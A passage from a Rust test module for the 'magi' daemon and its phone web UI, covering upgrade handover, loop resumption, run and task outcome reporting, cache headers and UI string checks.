14005 .expect("a late signal wakes the waiter")
14006 .expect("join");
14007 }
14008
14009 #[tokio::test]
14010 async fn health_says_how_long_a_handover_has_been_stuck() {
14011 let fx = Fixture::start().await;
14012 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14013 progress.advance(crate::updater::Stage::Replaced);
14014 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14015 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14016
14017 let health = fx.get("/api/health").await.json();
14018 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14019 assert!(stuck >= 600, "{stuck}");
14020 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14021 }
14022
14023 fn idle_ui(home: &TempDir) -> Ui {
14024 let runs = home.path().join("runs");
14025 std::fs::create_dir_all(&runs).expect("runs dir");
14026 Ui::new(
14027 Queue::at(home.path().join("queue")),
14028 Questions::at(home.path().join("questions")),
14029 Talks::at(home.path().join("talks")),
14030 runs,
14031 home.path().to_path_buf(),
14032 PathBuf::from("/repo/magi"),
14033 )
14034 .with_launch(launch_idle)
14035 }
14036
14037 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14039 let looping = ui.looping();
14040 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14041 .await
14042 .expect("bind loopback");
14043 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14044 let told = std::sync::Mutex::new(None);
14045 hand_over(home.path(), &looping, served, |resume| {
14046 *told.lock().unwrap() = Some(resume);
14047 Ok(1)
14048 })
14049 .await
14050 .expect("hand over");
14051 told.into_inner().unwrap().expect("successor was started")
14052 }
14053
14054 #[tokio::test]
14055 async fn a_running_loop_is_resumed_by_the_successor() {
14056 let home = TempDir::new().expect("temp home");
14057 let ui = idle_ui(&home);
14058 ui.start_loop(None).expect("start");
14059 ui.park_for_upgrade().expect("park");
14060 for _ in 0..500 {
14062 if !ui.loop_view(None).running {
14063 break;
14064 }
14065 tokio::time::sleep(Duration::from_millis(2)).await;
14066 }
14067 assert!(handed_over(&home, ui).await, "a running loop must resume");
14068
14069 let successor = idle_ui(&home);
14070 assert!(!successor.loop_view(None).running);
14071 assert!(successor.resume_after_handover(true));
14072 assert!(successor.loop_view(None).running);
14073 successor.stop_loop(None, false).expect("stop");
14074 }
14075
14076 #[tokio::test]
14077 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14078 let home = TempDir::new().expect("temp home");
14079 let ui = idle_ui(&home);
14080 ui.start_loop(None).expect("start");
14081 ui.park_for_upgrade().expect("first park");
14082 ui.park_for_upgrade().expect("second park");
14083 assert!(handed_over(&home, ui).await);
14084 }
14085
14086 #[tokio::test]
14087 async fn a_stop_during_the_handover_wait_is_honoured() {
14088 let home = TempDir::new().expect("temp home");
14089 let ui = idle_ui(&home);
14090 ui.start_loop(None).expect("start");
14091 ui.park_for_upgrade().expect("park");
14092 ui.stop_loop(None, false).expect("stop");
14093 assert!(!handed_over(&home, ui).await);
14094 }
14095
14096 #[tokio::test]
14097 async fn an_idle_loop_stays_stopped_across_the_handover() {
14098 let home = TempDir::new().expect("temp home");
14099 let ui = idle_ui(&home);
14100 ui.park_for_upgrade().expect("park");
14101 assert!(!handed_over(&home, ui).await);
14102
14103 let successor = idle_ui(&home);
14104 assert!(!successor.resume_after_handover(false));
14105 assert!(!successor.loop_view(None).running);
14106 }
14107
14108 #[tokio::test]
14109 async fn a_loop_the_operator_stopped_is_not_resumed() {
14110 let home = TempDir::new().expect("temp home");
14111 let ui = idle_ui(&home);
14112 ui.start_loop(None).expect("start");
14113 ui.stop_loop(None, false).expect("stop");
14114 ui.park_for_upgrade().expect("park");
14115 assert!(!handed_over(&home, ui).await);
14116 }
14117
14118 #[test]
14119 fn only_an_explicit_one_requests_a_resume() {
14120 assert!(!resume_requested(None));
14121 assert!(!resume_requested(Some("0".into())));
14122 assert!(!resume_requested(Some("".into())));
14123 assert!(resume_requested(Some("1".into())));
14124 }
14125
14126 #[test]
14127 fn the_upgrade_button_arms_before_it_restarts_anything() {
14128 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14131 assert!(APP_JS.contains("Replace the binary and restart?"));
14132 assert!(APP_JS.contains("function confirmed("));
14133 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14138 assert!(
14142 APP_JS.contains("Parking, then restarting"),
14143 "the button says what it is waiting for"
14144 );
14145 assert!(APP_JS.contains("if (!out.to)"));
14148 }
14149
14150 #[test]
14151 fn stopping_the_loop_arms_but_starting_does_not() {
14152 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14155 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14156 assert!(APP_JS.contains("confirmed(button, question)"));
14157 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14160 assert!(APP_JS.contains("const label = btn.textContent;"));
14161 assert!(!APP_JS.contains("Neither direction is guarded"));
14162 }
14163
14164 #[test]
14165 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14166 assert!(
14167 APP_JS.contains("state.health.version"),
14168 "the operator wants to know what is running even with nothing newer"
14169 );
14170 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14171 }
14172
14173 #[test]
14174 fn the_upgrade_button_names_its_destination() {
14175 assert!(
14176 APP_JS.contains("`Update to ${update.to}`"),
14177 "pressing the button should not be a surprise about what it moves to"
14178 );
14179 }
14180
14181 #[test]
14182 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14183 for stage in ["downloading", "replaced", "parking", "restarting"] {
14184 assert!(
14185 APP_JS.contains(&format!("\"{stage}\"")),
14186 "the phone must be able to tell {stage} apart from the others"
14187 );
14188 }
14189 assert!(APP_JS.contains(".waiting_on"));
14190 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14195 assert!(APP_JS.contains("reconnects on its own"));
14196 }
14197
14198 #[test]
14199 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14200 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14209 ..APP_JS.find("function upgrade(").expect("upgrade")];
14210 assert!(
14211 !body.contains(
14212 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14213 ),
14214 "a failed upgrade must not take the whole strip over the way it used to"
14215 );
14216 assert!(
14217 body.contains("upgradeFailNote"),
14218 "the failure has to reach the loop's own note instead"
14219 );
14220 assert_eq!(
14224 body.matches("upgradeFailNote].filter(Boolean).join")
14225 .count(),
14226 2,
14227 "both loop-why writers (quiet and control) must fold the note in"
14228 );
14229 }
14230
14231 #[test]
14232 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14233 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14236 assert!(APP_JS.contains("function upgradeOverdue("));
14237 }
14238
14239 #[test]
14240 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14241 assert!(
14242 APP_JS.contains("Updated to ${upgradeInfo.to"),
14243 "the operator who asked for the restart wants to know it worked"
14244 );
14245 }
14246
14247 #[test]
14248 fn an_error_is_visible_from_where_the_button_is() {
14249 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14254 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14255 assert!(
14256 alert.contains("position: fixed"),
14257 "an error about the thing under your thumb has to be visible from \
14258 where your thumb is: {alert}"
14259 );
14260 assert!(
14261 alert.contains("z-index: 25"),
14262 "above the dock (20) and the run-actions FAB (15), so neither \
14263 buries it: {alert}"
14264 );
14265 assert!(
14266 alert.contains("var(--tap)"),
14267 "and clear of the dock and the home indicator: {alert}"
14268 );
14269 assert!(
14272 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14273 "the FAB's column stays free: {alert}"
14274 );
14275 }
14276
14277 #[tokio::test]
14278 async fn an_older_attempt_says_what_replaced_it() {
14279 let fx = Fixture::start().await;
14280 let q = fx.queue();
14281 let runs = fx.runs();
14282 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14283 write_run(&runs, first, RunStatus::Stalled);
14284 write_run(&runs, second, RunStatus::Blocked);
14285
14286 let mut t = Task::new(
14287 "one task".to_owned(),
14288 "do it".to_owned(),
14289 PathBuf::from("/repo"),
14290 Source::Human,
14291 );
14292 t.runs = vec![first.to_owned(), second.to_owned()];
14293 q.put(&mut t).expect("put");
14294
14295 let rows = fx.get("/api/runs").await.json();
14299 let by = |short: &str| -> Value {
14300 rows.as_array()
14301 .unwrap()
14302 .iter()
14303 .find(|r| r["short"] == short)
14304 .cloned()
14305 .unwrap_or(Value::Null)
14306 };
14307 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14308 assert!(
14309 by("bbbb")["superseded_by"].is_null(),
14310 "the latest attempt is not superseded by anything"
14311 );
14312 assert!(APP_JS.contains("run.superseded_by"));
14314 assert!(APP_JS.contains("Superseded by"));
14315 }
14316
14317 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14318 let mut t = Task::new(
14319 "one task".to_owned(),
14320 "do it".to_owned(),
14321 PathBuf::from("/repo"),
14322 Source::Human,
14323 );
14324 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14325 t.status = status;
14326 t
14327 }
14328
14329 #[test]
14330 fn source_link_picks_the_page_that_filed_the_task() {
14331 let agent = |node: &str| Source::Agent {
14332 run: "20260904-014455-ab12".to_owned(),
14333 node: node.to_owned(),
14334 };
14335 let chat = source_link(&agent("chat")).expect("chat link");
14336 assert_eq!(chat.kind, "chat");
14337 assert_eq!(chat.id, "20260904-014455-ab12");
14338 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14339 let run = source_link(&agent("implement")).expect("run link");
14340 assert_eq!(
14341 (run.kind, run.href.as_str()),
14342 ("run", "#/runs/20260904-014455-ab12")
14343 );
14344 assert_eq!(source_link(&Source::Human), None);
14345 assert_eq!(
14346 source_link(&Source::Issue {
14347 number: 3,
14348 repo: "o/r".to_owned()
14349 }),
14350 None
14351 );
14352 let odd = source_link(&Source::Agent {
14353 run: "a b/c".to_owned(),
14354 node: "chat".to_owned(),
14355 })
14356 .expect("link");
14357 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14358 }
14359
14360 #[test]
14361 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14362 assert!(
14363 !APP_JS.contains("src.node === \"chat\""),
14364 "inline href rule is back"
14365 );
14366 assert!(
14367 APP_JS.matches("sourceLinkOf(").count() >= 4,
14368 "helper must serve every page"
14369 );
14370 assert!(
14371 APP_JS.matches("openChatLink(").count() >= 3,
14372 "the run page still needs its explicit chat link"
14373 );
14374 assert!(
14375 !APP_JS.contains("const openChat = el("),
14376 "the Queue card duplicates its source label link again"
14377 );
14378 assert!(
14379 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14380 "the task page must link a chat source label too"
14381 );
14382 }
14383
14384 #[test]
14385 fn task_ref_carries_the_source_link_for_a_chat_task() {
14386 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14387 t.source = Source::Agent {
14388 run: "20260904-014455-ab12".to_owned(),
14389 node: "chat".to_owned(),
14390 };
14391 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14392 let v = serde_json::to_value(&out).expect("json");
14393 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14394 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14395 assert_eq!(v["source_label"], t.source.label());
14396
14397 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14398 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14399 .expect("json");
14400 assert!(v["source_link"].is_null(), "{v}");
14401 }
14402
14403 #[test]
14404 fn task_view_serializes_source_link() {
14405 let mut t = Task::new(
14406 "t".to_owned(),
14407 "t".to_owned(),
14408 PathBuf::from("/repo"),
14409 Source::Agent {
14410 run: "20260901-000000-aaaa".to_owned(),
14411 node: "implement".to_owned(),
14412 },
14413 );
14414 t.runs.clear();
14415 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14416 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14417 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14418 }
14419
14420 #[tokio::test]
14421 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14422 let fx = Fixture::start().await;
14423 let runs = fx.runs();
14424 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14425 write_run(&runs, old, RunStatus::Blocked);
14426 write_run(&runs, new, RunStatus::Merged);
14427 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14428 fx.queue().put(&mut t).expect("put");
14429
14430 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14431 let task = &view["task"];
14432 assert_eq!(task["status"], "done");
14433 assert_eq!(task["is_latest"], false);
14434 assert_eq!(task["latest"]["short"], "bbbb");
14435 assert_eq!(task["finished_by"]["id"], new);
14436 assert_eq!(task["finished_by"]["outcome"], "merged");
14437 assert_eq!(task["closed_by_hand"], false);
14438 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14439 assert!(APP_JS.contains("finished_by"));
14440 assert!(APP_JS.contains("superseded by run"));
14441 }
14442
14443 #[tokio::test]
14444 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14445 let fx = Fixture::start().await;
14446 let runs = fx.runs();
14447 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14448 write_run(&runs, old, RunStatus::Stalled);
14449 write_run(&runs, new, RunStatus::Blocked);
14450 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14451 fx.queue().put(&mut t).expect("put");
14452
14453 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14454 assert_eq!(task["status"], "held");
14455 assert_eq!(task["is_latest"], true);
14456 assert!(task["latest"].is_null());
14457 assert!(task["finished_by"].is_null());
14458 assert_eq!(task["closed_by_hand"], false);
14459 }
14460
14461 #[tokio::test]
14462 async fn a_direct_run_has_no_task_outcome() {
14463 let fx = Fixture::start().await;
14464 let runs = fx.runs();
14465 let id = "20260901-000000-aaaa";
14466 write_run(&runs, id, RunStatus::Blocked);
14467 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14468 assert!(view["task"].is_null());
14469 }
14470
14471 #[test]
14472 fn task_outcome_does_not_guess_a_finishing_run() {
14473 let a = "20260901-000000-aaaa";
14474 let b = "20260901-000000-bbbb";
14475 let c = "20260901-000000-cccc";
14476 let dir = tempfile::tempdir().expect("tempdir");
14477 write_run(dir.path(), a, RunStatus::Blocked);
14478 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14479 let read = |id: &str| read_run(dir.path(), id).ok();
14481 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14484 let out = task_outcome(&t, a, 3, read);
14485 assert!(out.finished_by.is_none());
14486 assert!(out.closed_by_hand);
14487 let latest = out.latest.expect("latest");
14488 assert_eq!(latest.id, c);
14489 assert_eq!(latest.status, None);
14490 assert_eq!(latest.outcome, "record unreadable");
14491
14492 write_run(dir.path(), c, RunStatus::Ready);
14494 let t = outcome_task(&[a, c], TaskStatus::Done);
14495 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14496 assert_eq!(out.finished_by.expect("finisher").id, c);
14497 assert!(!out.closed_by_hand);
14498
14499 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14501 assert!(task_outcome(&t, a, 3, read).is_latest);
14502 }
14503
14504 #[tokio::test]
14505 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14506 let fx = Fixture::start().await;
14511 let q = fx.queue();
14512 let runs = fx.runs();
14513 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14514 write_run(&runs, first, RunStatus::Blocked);
14515 write_run(&runs, second, RunStatus::Merged);
14516
14517 let mut t = Task::new(
14518 "one task".to_owned(),
14519 "do it".to_owned(),
14520 PathBuf::from("/repo"),
14521 Source::Human,
14522 );
14523 t.runs = vec![first.to_owned(), second.to_owned()];
14524 q.put(&mut t).expect("put");
14525
14526 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14527 assert_eq!(earlier["superseded_by"], "dddd");
14528 assert_eq!(earlier["latest_attempt"]["id"], second);
14529 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14530 assert_eq!(
14531 earlier["latest_attempt"]["resolved"], true,
14532 "the run that replaced it landed, so this one reads as settled"
14533 );
14534
14535 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14536 assert!(
14537 later["superseded_by"].is_null(),
14538 "the latest attempt is not superseded by anything"
14539 );
14540 assert!(
14541 later["latest_attempt"].is_null(),
14542 "the latest attempt has no later attempt of its own"
14543 );
14544
14545 assert!(APP_JS.contains("run.latest_attempt"));
14552 assert!(APP_JS.contains("data-superseded"));
14553 assert!(APP_JS.contains("#/runs/${latest.id}"));
14554 }
14555
14556 #[tokio::test]
14557 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14558 let fx = Fixture::start().await;
14564 let q = fx.queue();
14565 let runs = fx.runs();
14566 let (a, b, c) = (
14567 "20260901-000000-aaaa",
14568 "20260901-000000-bbbb",
14569 "20260901-000000-cccc",
14570 );
14571 write_run(&runs, a, RunStatus::Blocked);
14572 write_run(&runs, b, RunStatus::Blocked);
14573 write_run(&runs, c, RunStatus::Merged);
14574
14575 let mut t = Task::new(
14576 "retried twice".to_owned(),
14577 "do it".to_owned(),
14578 PathBuf::from("/repo"),
14579 Source::Human,
14580 );
14581 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14582 q.put(&mut t).expect("put");
14583
14584 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14585 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14586 assert_eq!(
14587 view["latest_attempt"]["id"], c,
14588 "the chain's current head, not the intermediate Blocked retry"
14589 );
14590 assert_eq!(view["latest_attempt"]["resolved"], true);
14591
14592 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14593 assert_eq!(mid["latest_attempt"]["id"], c);
14594 assert_eq!(mid["latest_attempt"]["resolved"], true);
14595 }
14596
14597 #[tokio::test]
14598 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14599 let fx = Fixture::start().await;
14600 let q = fx.queue();
14601 let runs = fx.runs();
14602
14603 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14606 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14607 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14608 let mut t1 = Task::new(
14609 "still stuck".to_owned(),
14610 "do it".to_owned(),
14611 PathBuf::from("/repo"),
14612 Source::Human,
14613 );
14614 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14615 q.put(&mut t1).expect("put");
14616 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14617 assert_eq!(view1["latest_attempt"]["resolved"], false);
14618 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14619 assert_eq!(view1["latest_attempt"]["done"], true);
14620
14621 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14623 write_run(&runs, run_a, RunStatus::Blocked);
14624 write_run(&runs, run_b, RunStatus::Implementing);
14625 let mut t3 = Task::new(
14626 "retrying".to_owned(),
14627 "do it".to_owned(),
14628 PathBuf::from("/repo"),
14629 Source::Human,
14630 );
14631 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14632 q.put(&mut t3).expect("put");
14633 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14634 assert_eq!(view3["latest_attempt"]["id"], run_b);
14635 assert_eq!(view3["latest_attempt"]["resolved"], false);
14636 assert_eq!(view3["latest_attempt"]["done"], false);
14637
14638 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14643 write_run(&runs, noop_a, RunStatus::Blocked);
14644 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14645 let mut t2 = Task::new(
14646 "claims done".to_owned(),
14647 "do it".to_owned(),
14648 PathBuf::from("/repo"),
14649 Source::Human,
14650 );
14651 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14652 q.put(&mut t2).expect("put");
14653 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14654 assert_eq!(
14655 view2["latest_attempt"]["resolved"], false,
14656 "an unverified no-op claim must not read as a confirmed finish"
14657 );
14658
14659 assert!(APP_JS.contains("latest.resolved"));
14662 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14665 assert!(APP_JS.contains("Latest attempt: "));
14666 assert!(APP_JS.contains("in flight"));
14667 assert!(APP_JS.contains("not resolved"));
14668 }
14669
14670 #[tokio::test]
14671 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14672 let fx = Fixture::start().await;
14673 let js = fx.get("/app.js").await;
14679 assert_eq!(js.status, 200);
14680 let tag = js
14681 .header("etag")
14682 .expect("an etag to revalidate against")
14683 .to_owned();
14684 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14685 assert_eq!(
14686 js.header("cache-control"),
14687 Some("no-cache, must-revalidate"),
14688 "the phone has to ask every time"
14689 );
14690
14691 let again = fx
14694 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14695 .await;
14696 assert_eq!(
14697 again.status, 304,
14698 "a deck it already has costs one round trip"
14699 );
14700 assert!(again.body.is_empty(), "304 carries no body");
14701
14702 let weak = fx
14705 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14706 .await;
14707 assert_eq!(weak.status, 304);
14708 let stale = fx
14709 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14710 .await;
14711 assert_eq!(stale.status, 200, "an older build must be replaced");
14712 assert!(stale.body.contains("renderRunActions"));
14713 }
14714
14715 #[test]
14716 fn the_task_detail_has_an_actions_fab_and_sheet() {
14717 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14718 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14719 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14720 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14722 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14723 assert!(APP_JS.contains("renderTaskActions(task);"));
14725 assert!(APP_JS.contains("renderTaskActions(null);"));
14726 let sheet = APP_JS
14728 .find("function renderTaskActions")
14729 .expect("sheet renderer");
14730 let body = &APP_JS[sheet..sheet + 3000];
14731 assert!(body.contains("changePriority("));
14732 assert!(body.contains("openTaskEdit(task)"));
14733 assert!(body.contains("renderTaskHoldBox(host"));
14734 assert!(body.contains("renderTaskDoneBox(host"));
14735 assert!(body.contains("renderTaskDeleteBox(host"));
14736 assert!(APP_JS.contains("API.priority(id)"));
14737 assert!(APP_JS.contains("API.deleteTask(id)"));
14738 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14740 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14742 }
14743
14744 #[test]
14745 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14746 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14747 let actions = INDEX_HTML
14748 .find("id=\"run-actions-box\"")
14749 .expect("actions box");
14750 assert!(task < actions, "the task entry comes first in the sheet");
14751 assert!(APP_JS.contains("renderRunTaskEntry"));
14752 assert!(APP_JS.contains("\"Open task \""));
14753 assert!(APP_JS.contains("started directly, no task"));
14755 assert!(APP_JS.contains("sheet-task-link"));
14756 assert!(APP_JS.contains("task-chip-link"));
14757 }
14758
14759 #[test]
14760 fn the_deck_never_sends_the_operator_to_a_terminal() {
14761 assert!(
14764 !APP_JS.contains("Run `magi fold` first"),
14765 "the deck must offer the fold, not prescribe a shell command"
14766 );
14767 assert!(APP_JS.contains("foldRun:"));
14768 assert!(APP_JS.contains("resumeRun:"));
14769 assert!(APP_JS.contains("renderRunActions"));
14770
14771 assert!(APP_JS.contains("armedFold"));
14773 assert!(APP_JS.contains("Yes, fold worktrees"));
14774
14775 assert!(APP_JS.contains("can no longer be resumed"));
14778 }
14779
14780 #[test]
14781 fn a_finished_run_explains_itself_with_its_own_last_line() {
14782 assert!(
14788 !APP_JS.contains("collapsed on agent quota"),
14789 "a stall must not be explained by a cause the deck did not check"
14790 );
14791 assert!(
14792 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14793 "and a block must not offer a guess with an `or` in it"
14794 );
14795
14796 assert!(
14800 APP_JS.contains("setText(r.event, run.event || \"\")"),
14801 "the run's last line is rendered unconditionally"
14802 );
14803 assert!(
14804 !APP_JS.contains("moving && run.event"),
14805 "and never gated on the run still moving"
14806 );
14807
14808 assert!(APP_JS.contains("lost to quota"));
14810 }
14811
14812 #[test]
14834 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14835 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14836 let shapes_body_start =
14837 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14838 let shapes_close = APP_JS[shapes_body_start..]
14839 .find("].map(")
14840 .expect("the shape list is closed by its done-computing .map(...)")
14841 + shapes_body_start;
14842 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14843
14844 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14845 for entry in shapes_src.split('{').skip(1) {
14846 let waiting = entry.contains("waiting: true");
14847 let dead = entry.contains("live: \"dead\"");
14848 let status_at =
14849 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14850 let status_end = entry[status_at..]
14851 .find('"')
14852 .expect("the status string is closed")
14853 + status_at;
14854 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14855 }
14856 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14857
14858 let done_rule_marker = "done: !";
14862 let done_rule_at = APP_JS[shapes_close..]
14863 .find(done_rule_marker)
14864 .expect("the done rule follows the shape list")
14865 + shapes_close
14866 + done_rule_marker.len();
14867 let includes_at = APP_JS[done_rule_at..]
14868 .find(".includes(shape.status)")
14869 .expect("the done rule ends in .includes(shape.status)")
14870 + done_rule_at;
14871 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14872 .trim()
14873 .trim_start_matches('[')
14874 .trim_end_matches(']')
14875 .split(',')
14876 .map(|s| s.trim().trim_matches('"'))
14877 .filter(|s| !s.is_empty())
14878 .collect();
14879
14880 let shapes: Vec<(bool, String, bool, bool)> = shapes
14881 .into_iter()
14882 .map(|(waiting, status, dead)| {
14883 let done = !not_done.contains(&status.as_str());
14884 (waiting, status, dead, done)
14885 })
14886 .collect();
14887
14888 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14892 if waiting {
14893 return "waiting";
14894 }
14895 if dead
14896 && !matches!(
14897 status,
14898 "merged"
14899 | "ready"
14900 | "stalled"
14901 | "blocked"
14902 | "failed"
14903 | "verified_noop"
14904 | "superseded"
14905 | "already_in_base"
14906 )
14907 {
14908 return "stale";
14909 }
14910 match status {
14911 "merged" | "ready" => "landed",
14912 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14913 | "already_in_base" => "ended",
14914 _ => "flight",
14915 }
14916 }
14917
14918 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14921 match filter_key {
14922 "active" => !done,
14923 "flight" => !done && !waiting && !dead,
14924 "stale" => !done && !waiting && dead,
14925 "waiting" => waiting,
14926 "done" => done,
14927 "all" => true,
14928 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14929 }
14930 }
14931
14932 let compatible = |section: &str, filter_key: &str| {
14933 shapes.iter().any(|(waiting, status, dead, done)| {
14934 run_section(*waiting, status, *dead) == section
14935 && filter_matches(filter_key, *waiting, *dead, *done)
14936 })
14937 };
14938
14939 let expected = [
14944 ("waiting", [true, false, false, true, true, true]),
14945 ("stale", [true, false, true, false, false, true]),
14946 ("flight", [true, true, false, false, false, true]),
14947 ("landed", [false, false, false, false, true, true]),
14948 ("ended", [false, false, false, false, true, true]),
14949 ];
14950 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14951
14952 for (section, wants) in expected {
14953 for (filter_key, want) in filter_keys.iter().zip(wants) {
14954 assert_eq!(
14955 compatible(section, filter_key),
14956 want,
14957 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14958 );
14959 }
14960 }
14961
14962 assert!(
14965 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14966 );
14967 assert!(APP_JS.contains(
14968 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14969 ));
14970 assert!(APP_JS.contains(
14971 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14972 ));
14973 }
14974
14975 #[tokio::test]
14976 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14977 let dir = tempfile::tempdir().expect("tempdir");
14981 let explicit = dir.path().join("not-a-checkout");
14982 std::fs::create_dir_all(&explicit).expect("create dir");
14983 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14984
14985 let missing = dir.path().join("does-not-exist-at-all");
14986 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14987 }
14988
14989 #[test]
14990 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
14991 assert!(APP_JS.contains("function statsDonutArcs"));
14992 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
14993 assert!(APP_JS.contains("function statusInBucket"));
14995 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
